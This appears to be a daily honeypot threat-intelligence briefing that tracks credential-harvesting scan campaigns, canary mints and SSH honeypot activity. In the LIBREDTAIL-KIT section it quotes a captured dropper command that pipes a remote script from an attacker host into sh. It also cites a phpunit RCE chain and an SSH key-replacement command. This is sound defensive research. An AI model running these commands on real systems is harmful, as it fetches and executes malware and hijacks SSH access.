FLUX FLEET — INTEL BRIEFING №33

Period: 2026-09-25 07:49 – 2026-09-26 07:49 UTC (24h, day 31 of operations)
Sources: 8 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (differential baseline), ru-edge-1 (Russia), lauterbourg-01-ts (new, Kiteworks TLS profile, first full digest window, no mints observed), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation; 31-day baseline; every result-tag spike traced to a source by spot query)

BLUF

ORACLE-SWEEP returned as a standalone campaign and ran the fleet's first synchronized census: five Oracle-host IPs hit all 8 sensors, one per node, under one forged Chrome/126 identity. Three censuses minted a single /.env credential each. The canary-farm-1 leg collapsed into 32 rejections. CONFIG-SWEEP met its promotion trigger for mint collector — 87.120.104.29 took 18 credentials inside two one-minute censuses (2,950 events on farm, 1,239 on control). LIBREDTAIL-KIT ran its 15th window with 18 full-kit IPs on all 8 sensors, and the dropper stage is unchanged: all 23 captured bodies stage from 217.60.103.56 with argument apache. Sensors minted 101 credentials to 34 collector IPs, and none reached AWS — the first zero-use window after №32's collect-and-use run. MEGA-DICTIONARY skipped its tenth replay, which explains frantech-ts's −92% volume delta, and lauterbourg-01-ts absorbed its first full hostile day (2,374 events) with the Kiteworks asset tree under active enumeration.

Key Judgements

1. ORACLE-SWEEP is a distinct, synchronized campaign again — the registry un-merge trigger fired exactly as written. Five Oracle-source IPs (140.245.97.14, 140.245.108.60, 161.118.223.197, 161.118.240.138, 161.118.198.57) each ran one census on one node under the same forged UA, Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/126.0.0.0 Safari/537.36. The ru-edge, ai-devbox, and control legs each logged 103 events over 94 paths with 1 mint and 5 rejections. Farm logged 65 events with 32 tracebit-http-error rejections. Lauterbourg logged 466 events over 456 paths. The №14 absorption note said "un-merge if a 140.245.x.x or other Oracle-IP run returns with the core" — this is that run, plus the fleet's newest node. (High confidence — per-IP spot query shows identical UA, path families, and one-IP-per-sensor structure.)
2. The credential hoard crossed ≈589 with still zero AWS use, and it concentrates in five collectors. 101 credentials went to 34 collector IPs; the six-day Tracebit pull shows Feo Prest 213.209.159.175 at 69 mints, OMEGA's 94.154.46.249 at 27, CREDSWEEP-sibling 45.148.10.171 at 26, CONFIG-SWEEP's 87.120.104.29 at 24, and SS-Net 80.94.95.211 at 19. Untracked use outside our AWS alerting remains possible but is unobserved. (High confidence — canary section joins alerts per mint row; "no observed use" is the honest claim.)
3. SS-PROBE is an operational canary-farming pattern, not opportunistic scanning — registered on its second run. Two new operators (23.234.77.64, 105.115.10.78) repeated the exact two-step shape of №32's originals: a self-naming GET /__ss_probe_<fresh-32-hex>__ followed by one /.env that mints. Eight markers, nine mints, no POSTs, no fanout, and all marker suffixes fresh per run. The marker guarantees our first-seen alert fires before the mint — the operator is farming the tripwire channel itself. (High confidence — marker rows and mint joins on v_full are unambiguous; four operators across four ASNs share one TTP.)
4. The Techoff /24 widened its toolset from wp-batch and git walking to self-labeled CVE proof-of-concept probing. 195.178.110.22 introduced cve-2026-87902-poc/1.0 — a UA we have never seen — and touched / on four nodes (frantech, netcup, sponge, control, 9 events each, tarpit-held). No exploit path was requested, so the CVE target is unmeasured from our side. (Moderate confidence — the /24 linkage is solid (195.178.110.x = the registered Techoff range); the intent behind the label is unverified.)

Active Campaigns (day 31 status)

ORACLE-SWEEP (Oracle-host config census) ⟳ — UN-MERGED, FLEET-WIDE SYNCHRONIZED RUN (Hostile, active)

• Actors: 140.245.97.14 (ru-edge-1), 140.245.108.60 (canary-farm-1), 161.118.223.197 (ai-devbox-1), 161.118.240.138 (control-1), 161.118.198.57 (lauterbourg-01-ts). All Oracle Corporation, SG. The №13 trio (140.245.96.64, 140.245.108.60, 140.245.108.219) partially recurs — .108.60 is a returning IP.
• TTPs: one IP per sensor, one census per IP, single forged Chrome/126.0.0.0 UA. Each census walks /.env variants (.env.production, .env.local, .env.bak, .env.production.local), then config bundles (config.json, config.js, runtime-config.js, env.js, config.yml, config.yaml, config.php.bak) — the registered census core shape. Mints: 1 issued at /.env on each of ru-edge (20:09), ai-devbox (01:56), control (18:30). The farm leg burst into upstream rejection: 32 error rows led by /.env [tracebit-http-error] — the window's 17 farm-side 400s are mostly this IP. The lauterbourg leg (161.118.198.57) ran 466 events over 456 paths in one minute at 01:43 and hit the Kiteworks surface (3 kiteworks-shell, 28 kiteworks-asset).
• Assessment: a resourced operator synchronized one host per target across an 8-IP fleet within hours, on a census template that predates the METADATA-HUNT merger. It wants environment files, and it takes the mints when the trap answers. The farm-side rejection burst shows the template fires fast enough to trip Tracebit rate limiting, so the №17 failure quirk now doubles as a tempo signal. Watch whether the next run returns for the rejected farm batch.

CONFIG-SWEEP (single-minute config census, Googlebot forgery) ⟳ — SECOND MINT RUN, PROMOTION VERIFIED (Hostile, active)

• Actors: 87.120.104.29 (Sino Worldwide Trading Limited, NO) — solo operator, third appearance, second consecutive minting run.
• TTPs: one-minute census bursts under forged Mozilla/5.0 (compatible; Googlebot/2.1; ...): farm 2,950 events over 1,592 paths at 09:50–09:51 with 12 mints inside the burst; control 1,239 events over 1,231 paths at 05:33 with 6 mints. Kill-chain journeys show 121/114 trap families — wp-config.php.bak, .git/config, .aws/credentials, docker-compose.override.yml, .ssh/authorized_keys, composer.lock, .dockerenv. The mint timestamps cluster at 09:50:55–09:51:04 and 05:33:30–05:33:43 — minting rides the census burst, not a separate pass.
• Assessment: the №30 promotion trigger ("promote on a second mint run") is met with margin: 18 credentials in one window, 24 in six days. Combined with OMEGA's /46 output, the fleet's biggest census templates are now its biggest mint sources. The census-to-hoard pipeline is the fleet's standing credential leak; the deny-all policy remains the only thing between these hoards and AWS.

LIBREDTAIL-KIT (phpunit RCE chain, honest UA) ⟳ — 15TH WINDOW, ALL 8 SENSORS (Hostile, active)

• Actors: 18 full-kit IPs at 43 events each — 165.154.218.226, 103.63.101.24 (netcup), 45.43.37.254 (farm), 162.198.46.77 (sponge), 69.12.176.117 (frantech + 11 ru-edge + 7 sponge), 138.2.102.66 (aidev), 102.244.97.185, 144.91.78.83, 129.121.128.211 (frantech), 45.43.60.98 (control, repeat from №28), 69.33.213.117 (control), 37.120.213.13 (ru-edge), 39.109.116.214 (farm + 1 ru-edge) — plus fragments (167.126.6.183 40 ev, 194.53.54.158 30, 23.94.192.15 23 on lauterbourg, 45.225.135.20 2, three singletons). Rotation continues; 45.43.60.98 is the only repeat.
• TTPs: the registered chain — md5("Hello PHPUnit") probe across permuted eval-stdin.php paths, then POST /index.php with shell_exec(base64_decode(...)), then POST /bin/sh with the dropper. All 23 captured dropper bodies are byte-identical to prior windows:

  (wget --no-check-certificate -qO- https://217.60.103.56/sh || curl -sk https://217.60.103.56/sh) | sh -s apache

• Assessment: this kit wants execution, not credentials — 0 mints across every window it ran. The staging host has not moved since the №17 split consolidated; it is the campaign's single hardest infrastructure fact. First lauterbourg coverage means the new node passed its induction under fire, and the honest libredtail-http UA keeps attribution trivial — the fleet design (fake webshells answering 200, tarpit 302s) converts each run into fingerprint evidence at zero risk.

SS-PROBE (self-naming canary crawler) ⚠ REGISTERED — SECOND RUN, TWO NEW OPERATORS (Hostile, active)

• Actors: 23.234.77.64 (4 runs on ai-devbox-1 + canary-farm-1, 16:29–17:29) and 105.115.10.78 (4 runs on the same nodes, 23:08–00:05). The №32 originals — 194.127.166.149 (Owl Limited JP), 135.136.55.62 (M247 Europe SRL) — did not return. Four operators, four ASNs, one TTP.
• TTPs: unchanged two-step: GET /__ss_probe_<random-32-hex>__ (404, python-requests/2.31.0), then GET /.env (200, minted) seconds later. Sample marker: /__ss_probe_cf08dc74421f21f71b90b956eaa06957__. Every suffix in this window is new; no suffix ever repeats across runs.
• Assessment: the second run under fresh IPs shows a deployed pattern rather than two curious hosts. Each run yields exactly one marker, one mint, and zero exploration — the operator treats our first-seen channel as a delivery receipt. Counter-consideration: the probe path gives us a high-signal detection key that ignores IP rotation entirely. Diff markers each cycle and watch for a fifth operator.

REGISTRY-HUNT / LeakIX (l9scan template) ⟳ — 9 MINTS, FIRST LAUTERBOURG VISIT (Borderline per registry)

• Actors: 8 full-kit l9scan IPs at 41 events each — ai-devbox-1: 167.99.181.249, 146.190.63.48, 206.189.233.36, 165.22.34.189; canary-farm-1: 64.227.32.66, 209.38.208.202, 207.154.212.47, 167.99.181.249 (one IP on both nodes). Plus l9explore/1.2.2 88-event passes on control and frantech (45.138.12.51 minted 1 on control) and a NEW UA variant l9scan/2.0.131323e25323e2631313e29383 on lauterbourg-01-ts — 4 IPs (159.223.132.86, 167.99.210.137, 209.97.180.8, 157.230.19.140) at 39 events each, all DigitalOcean.
• TTPs: the registered 12-step WebLogic → Confluence → WHM/cPanel → docker-registry census, unchanged; the digest's 850993125b15/b07c7bb207b4 signatures (4 IPs each, 164 events) are these runs. Mints restored to the 1-per-IP cadence: 9 mint rows.
• Assessment: the pool keeps its ~8-IP cadence and reached the new node within a day of its first full window — target lists are shared across the LeakIX operator base, and a fresh IP is scanned like any other. Borderline per the registry: public leak-scanning service, report activity, do not fold into the criminal set.

OMEGA-SWEEP (/46 pool census, Googlebot forgery) ⟳ — CENSUS-WITHOUT-MINTS ON FARM (Hostile, active)

• Actors: 94.154.46.246 (Omegatech LTD, US) — farm 2,100 events over 1,042 paths at 05:32–05:33 with 0 mints, control 1,050 events at 00:30 with 6 mints; pool IP 94.154.43.180 minted 1 on ai-devbox-1 at 01:30 (forged Chrome/147). The rest of the /46 block was absent.
• TTPs: the byte-stable 1,042/743-path census templates under forged Googlebot/2.1; mint burst on control at 00:30:18–00:30:33 (six in 15 seconds).
• Assessment: .246's farm run repeated the census-without-mints shape last seen in №29 — the block's mint output stays uneven (7 credentials this window). The six-day hoard view still shows .249 at 27 and .248 at 17 with zero use; the pool remains the fleet's model multi-window hoarder.

METADATA-HUNT (GCP/AI-credential hunt) — RESUMPTION CANDIDATE (Hostile, watch)

• Actors: 136.85.48.119 (Google LLC, SG) — 291 events, 219 paths, 32 POSTs on canary-farm-1 at 23:59, second consecutive window on this IP.
• TTPs: the campaign's credential families without the /@fs leg: /config/firebase-admin.json, /gcp-key.json, /config/gcp-credentials.json, /api/graphql + /graphql introspection POSTs, random debug-trigger paths (/z9x8c7v6b5-debug-trigger-sso.rightabouteverything.show), and a forged AI-crawler UA rotation (Amazonbot, Qwenbot, CCBot, MistralAI-User, Bytespider, KimiBot, Googlebot). 3 mints, and the fleet's only 3 @fs/__aws_leak_probe marker rows this window (23:59:38).
• Assessment: the exact marker count and IP repeat №32's tail — this is the campaign's remaining active runner, not a new actor. It holds 5 credentials in six days. If a third window adds /@fs volume, promote the resumption from candidate to active.

31.57.216.50 census operator (VPS Dedicated LLC, AE) — NEW, GROWN WORDLIST (Hostile, watch)

• TTPs: 998 events over 915 paths in 2 minutes on ai-devbox-1 (23:10–23:12): .svn/format + .svn/wc.db + .hg/store/ version-control walks, .htpasswd.bak/.htaccess.bak, /.env variants, /.git/HEAD/credentials/packed-refs, and an aura-validation path (/aura-c1clcfs7gx2c70vzn1t64wyh.txt). 3 mints. The first-seen table's new wordlist entries (.env.nuxt, .env.prometheus, .env.react, .env.schema, .env.q1/.q4, .env.queue, .env.socket, /config/ai.php, /rev-manifest.json, /rev-manifest-class and /.git/refs/remotes/origin/{stage,uat,test,bugfix}) are all this IP — the wordlist grew against framework-specific .env names and environment-branch git refs.
• Assessment: unrelated by address to the standing VPS Dedicated SI operators (102.220.161.x) despite the company-name match — do not merge on ASN text. The .env.<framework> expansion is a genuine wordlist-generation step worth tracking; watch for a second run and diff the added paths.

MEGA-DICTIONARY (IoT dropper-URL dictionary replay) ⟳ — TENTH REPLAY MISSED (Hostile, paused-cadence)

No replay this window: frantech-ts's long-path not-handled volume fell to 194 rows against ~13,000 per replay, and the node's −92% delta against the 7-day baseline is exactly this absence. The manifest froze at 13,189 in №32; two consecutive misses will move the campaign to standing-paused under the registry's cadence rules.

Standing actors (persistence check)

• 213.209.159.175 (Feo Prest SRL DE) — 20th consecutive window. 785 events (farm 400, control 385), 16 issued mints in-window (8 control, 8 farm), 69 in the six-day pull — the fleet's top persistent collector, unchanged verdict.
• 204.76.203.18 (Pfcloud UG NL, MALWARE-DICT loop) — 20th consecutive window on control-1: 2,141 events, 580 paths, stable loop shape, ipsum:2. The /24 ran no sibling probes this window.
• 80.94.95.211 (SS-Net RO, SS-NET TOOLING) — 16th window in 19: 3 mints on ai-devbox-1 (21:27, Safari/601.2.7 forgery), 19 in six days.
• 45.148.10.171 (CREDSWEEP-sibling lineage) — third consecutive window, 11 mints across farm/aidev/control under rotating antique forged UAs (Iceape 2.0.8, Maxthon 3.0.8.2, CriOS 44, Opera 11). 26 in six days. Promoted to named operator inside the CREDSWEEP row this cycle; a fourth window makes it its own register row.
• 2.27.154.52 (Samuel Dierich, NL) — second consecutive window, 6 mints (4 farm, 2 aidev) under a fresh forged-browser rotation (Chrome/126, Chrome/92, Safari 18, Safari 5.0.4, Firefox/121). The №32 "watch for a repeat" condition is met; it stays a single-IP actor with no second stage.
• 45.139.104.35 (49.3 Networking LLC, BG) — osint-scanner/1.0 single-path tarpit loops: 246 events on netcup, 86 on lauterbourg. Benign per the registry; it is now a steady baseline-load contributor on two nodes.
• 185.73.23.162 (Ruhr-Universitaet Bochum, benign research) — cadence collapsed to 584 events on sponge-01-ts from the prior window's 4,045 across netcup+sponge. Same /-only shape.
• 192.253.248.173 (Limited Network NL) — returned after a long gap: 126 events over 126 paths with 8 UAs on lauterbourg-01-ts. Historic standing-actor list entry, now re-sighted on the new node.

Network-layer recon (Arkime) — 2026-09-25 07:49:00 → 2026-09-26 07:49:49 UTC

Fingerprint field ssh.hassh, destination port 22 · 76,690 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, lauterbourg-01-ts 89.116.25.211, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 47,516, frantech-ts 17,701, sensor:frantech-ts 17,701, sensor:lauterbourg-01-ts 11,984, sensor:ru-vps-01-ts 10,879, bahrain-sponge-01-ts 9,667

Flagged sweeps (1) — one fingerprint, many networks, single port, no authentication attempted:

• f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 5,870 sessions from 324 source IPs across 168 networks in 56 countries, port 22, avg 4,922 B/session. Networks: AS8075 Microsoft Corporation, AS14061 DigitalOcean, LLC, AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS132203 Tencent Building, Kejizhongyi Avenue, AS4766 Korea Telecom. Busiest sources: 46.147.113.91, 20.127.185.37, 101.36.119.203, 58.69.56.44, 95.255.158.96. Last 7 days: 09-20 327 IPs, 09-21 373 IPs, 09-22 297 IPs, 09-23 351 IPs, 09-24 330 IPs, 09-25 339 IPs, 09-26 108 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Network-layer notes

• LIBSSH-MASSSWEEP holds its plateau for the sixth registered day: 324 IPs / 168 networks / 5,870 sessions, sessions +101 and sources −10 against №32's window. The 09-26 partial count (108) is window censoring, not a drop.
• GO-SPRAY-SWEEP (06ff3615a51b…) is absent at the ≥5-session floor — the first miss after №32's unpause burst (192 IPs on 09-24). One more miss re-pauses it.
• GO-BANNER-SWEEP (594c5787…) stays absent — pause holds.
• The two heaviest unregistered single-source clients grew: 0a07365cc01f… 17,827 sessions with source spread up 31 → 46 IPs, and 16443846184e… (the unregistered third Go client) 11,975 sessions, +4,527. 16443846184e… is now the top fingerprint on lauterbourg, control, and netcup. Both stay below the dispersed thresholds; characterisation still needs a banner pull, which the digest shows only for new fingerprints.
• 19532158b559… jumped +1,284 sessions / +10 source IPs — below threshold, watch list.
• Lauterbourg-01-ts joined the pcap fleet as its second-most probed address by source count (11,984 sessions, 2,428 source IPs) on day one — fresh-IP discovery velocity is real at the network layer too.

Fleet Observations

Canary economics. Digest window: 110 issued rows (farm 46, control 28, aidev 27, ru-edge 9); the Tracebit-side dedup sees 101 credentials to 34 collectors — the delta is the 24-hour seam cast, not lost rows. Failures: 18 ×400 (farm 17, ru-edge 1). Root causes: the farm failures are burst-speed rejections from CONFIG-SWEEP's 09:50 mint cluster and ORACLE-SWEEP's 32-error leg (the №17 quirk operating as a tempo sensor); ru-edge's single rejection is the same class. No key defects. All-time issued rows: 1,759. Standing hoard ≈589 credentials across named collectors, zero use in the window (evidence: the canary section's funnel — 101 minted, 0 used, 0 alerts).

Attribution/TLS posture. XFF counters stay near-zero: any-XFF 1,838, multi-entry 0, ignored-internal 5, single-entry mismatch 1 — and the one mismatch is a / tarpit touch from 1.2.3.4 (documentation IP, Mozilla/5.0), not a campaign; no socketPeer pivot warranted. Host census unchanged: each node's own address dominates its Host-header counts; on lauterbourg the Kiteworks vhost kiteworks.rightabouteverything.show already leads at 1,377 events against 991 for the bare IP — the decoy profile is being addressed directly by scanners.

Fleet volume moves and their causes. canary-farm-1 +45% (6,769 vs 4,676) — CONFIG-SWEEP's 2,950-event minute plus OMEGA .246's 2,100-event census. control-1 +26% — the same two censuses (1,239 + 1,050) plus the Pfcloud loop (2,141). frantech-ts −92% (1,216 vs 14,787) — no MEGA-DICTIONARY replay against a replay-inflated baseline. netcup-ts −85% — no replay and no Ruhr-Uni pass this window. ru-edge-1 −87% (559 vs 4,434) — №30's census wave skipped the node; ORACLE-SWEEP's small census and two Feo Prest passes replaced it. ai-devbox-1 −51% — its usual censuses were the quiet part of the window; the 31.57.216.50 census partially filled the gap. sponge-01-ts −55% — the Ruhr-Uni scanner cut its cadence ~7×. lauterbourg-01-ts: first full window, 2,374 events / 121 IPs — census-grade attention (ORACLE-SWEEP, the Kiteworks asset cluster, first l9scan visits) from day one.

Lauterbourg-01-ts first full window. Third-party traffic arrived in layers: ORACLE-SWEEP's 466-event census, a Kiteworks asset-tree cluster (104.164.126.198, 35.86.149.183, 34.116.128.92, 167.248.133.10 with HeadlessChrome, 23.27.145.164, 47.163.65.126, 34.118.125.83, 158.69.117.45/.148 — each walking ~34 paths of the /static/js|media tree the first-seen table shows), and the operator's own validation traffic (70.8.208.88, 666 events, 479 kiteworks-asset + 25 kiteworks-shell hits — benign by the registry's 09-25 identification). It still owns a third of the node's Kiteworks results, so exclude it when this node gets its own baseline. No mints observed — the node has no minting surface in the economics table yet.

control-1 discovery velocity. 5,606 events / 114 unique IPs — inside the 62–145 post-fix band for the eighth window. The +26% event delta is per-IP volume (three census bursts), not discovery.

SSH/telnet honeypot (frantech-ts — single sensor, not fleet-wide)

Funnel: 645 sources sent credentials → 517 got a shell (80%) → 288 ran a command (56% of shell-getters, 45% of sources). Event level: 8,183 credential attempts → 4,088 accepted logins → 5,214 commands — 128% of accepted logins go on to run something, so operators keep working the boxes.

Sixth consecutive fully static window: zero new commands (0 of 81 distinct), zero new credential pairs (0 of 3,479). Telnet commodity botnets: 677 attempts. The recurring set is unchanged: the chattr -ia .ssh re-plant family (1,236 events, 254 IPs, led by 114.217.10.60) and its companion rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAA…" key-replace (1,080 events, 228 IPs), the uname inventory cluster (900 + 900 events from 2 IPs, 109.160.32.19), and the 8-IP export PATH=… env-recon cluster (80.94.92.234 leads, 257 each of two script variants). Credential concentration is unchanged: 345gs5662d34/345gs5662d34 (1,201 attempts) and root/3245gs5662d34 (894). No first-seen command exists to quote — the fleet's post-compromise visibility stays dark for a sixth cycle.

Gaps / Next Collection

1. CREDENTIAL-DRAIN's next act. №32's 80.96.59.28 proved mint-and-use from one host. Watch for a second use IP splitting from a single-session collector, a new AWS service name, or the five-hoard leaders (Feo Prest .175 at 69) finally drawing an alert. The 589-credential hoard is the fleet's standing liability; only AWS-side alerting can close it.
2. ORACLE-SWEEP's farm debt. The farm leg was fully rate-limited (32 errors, 0 mints) — if the operator re-runs the rejected batch, expect a slowed tempo. Capture the full path set next run and anti-join it against the registered 117-path core to make sure the template is unchanged. Check whether lauterbourg gains a minting surface (its kiteworks-shell trap drew 74 hits this window with zero mints).
3. SS-PROBE operator #5 and marker ledger. Four operators across four ASNs now share the marker-then-mint TTP. Diff every new marker against the eight this window; a fifth operator, or any run that adds a POST or a second path, changes the assessment from farming to staged exfiltration.
4. GO-SPRAY-SWEEP decision point. One miss since the №32 unpause. A second consecutive miss below the ≥5-session floor re-pauses it; the 09-24 192-IP burst stays the reference for what its active phase looks like.
5. Characterise the two heavy single-source SSH clients (0a07365cc01f… 46 IPs and spread-growing; 16443846184e… +4,527 sessions, now the top fingerprint on three nodes). The recon digest prints banners only for new fingerprints — pull both banners through a targeted recon run before naming either.
6. Lauterbourg baseline hygiene. The operator's validation traffic (70.8.208.88) is 28% of the node's first window. Watch for that traffic to end, then set the node's own 7-day baseline.

Digest: /data/flux-logs/reports/flux-digest-2026-09-26.md
Recon digest: /data/flux-logs/reports/flux-recon-digest-2026-09-26.md
Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-09-26.html

Watch next cycle: (1) CREDENTIAL-DRAIN — does any of the 101 fresh credentials (or the 589 hoard) reach AWS; a second use IP or new service name after №32's single-host run is the escalation signal. (2) ORACLE-SWEEP — the synchronized one-IP-per-sensor template now includes lauterbourg; a re-run against the rate-limited farm leg, and whether the 117-path core still matches, settles whether the un-merge stands. (3) MEGA-DICTIONARY's missed tenth replay — a second miss moves it to standing-paused and frantech-ts's baseline resets to post-replay reality.